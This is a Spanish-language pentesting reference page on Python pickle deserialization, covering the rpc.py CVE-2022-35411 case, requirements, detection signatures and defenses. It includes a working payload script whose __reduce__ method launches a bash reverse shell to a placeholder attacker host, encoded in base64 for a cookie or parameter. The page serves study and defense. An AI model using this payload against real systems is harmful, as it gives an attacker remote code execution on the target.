the_open_door
café
ESEN
← Volver al índice

Python Pickle Deserialization

Arsenal completo de comandos en la cheatsheet

El módulo pickle de Python serializa objetos a bytes y los reconstruye al deserializar. El problema es que pickle.loads() ejecuta lo que le digan los datos: un objeto puede definir el método __reduce__, que indica qué función llamar (y con qué argumentos) al reconstruirse. Si una aplicación deserializa datos que controla el atacante, eso es ejecución de código directa.

El payload típico envuelve un comando en __reduce__ con os.system (o subprocess):

import pickle, os, base64
class RCE:
    def __reduce__(self):
        # SUID a bash, o una reverse shell:
        cmd = "bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'"
        return (os.system, (cmd,))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())   # base64 para meterlo en una cookie/parametro

Se ve en frameworks que aceptan pickle como formato de (de)serialización. Un caso conocido es rpc.py 0.6.0 (CVE-2022-35411): el servidor elige el deserializador según la cabecera serializer: pickle, así que enviar un objeto pickle malicioso al endpoint da RCE con los privilegios del proceso (a menudo root). Si el servicio escucha solo en localhost, se combina con un reenvío de puertos para alcanzarlo; el payload habitual hace SUID a una shell (abuso de SUID) o lanza una reverse shell.

Requisitos. Que la aplicación llame a pickle.loads() (o pickle.load, pandas.read_pickle, joblib.load…) sobre datos que el atacante pueda influir: una cookie, un campo de formulario, un fichero subido, un mensaje de cola. Si el dato serializado no cruza una frontera de confianza (solo lo genera y consume el propio servidor), no hay vector. No hace falta conocer la clase original: __reduce__ se ejecuta en la reconstrucción sea cual sea el tipo esperado.

Cómo detectarlo. El pickle es binario, pero tiene firma: un blob que empieza por los opcodes de protocolo (\x80\x04/\x80\x05, o en base64 los prefijos gASV/gAR) dentro de una cookie, un parámetro o un cuerpo de petición es sospechoso; y opcodes como c__builtin__\nsystem/cposix\nsystem o cos\nsystem delatan un __reduce__ malicioso. En el caso rpc.py, la cabecera serializer: pickle es el disparo. La confirmación en el host es el proceso Python lanzando sh/bash/id como hijo justo tras la deserialización (auditd/Sysmon for Linux sobre execve con ppid del intérprete).

Defensa. Nunca deserializar pickle de origen no confiable. Usar formatos de datos sin ejecución (JSON) o serializadores seguros, y firmar/validar los datos antes de reconstruirlos. Es el mismo principio que en la deserialización de Node.js u otras: el formato no debe poder invocar código.

Máquinas donde se aplica

  • PCProving Grounds Practice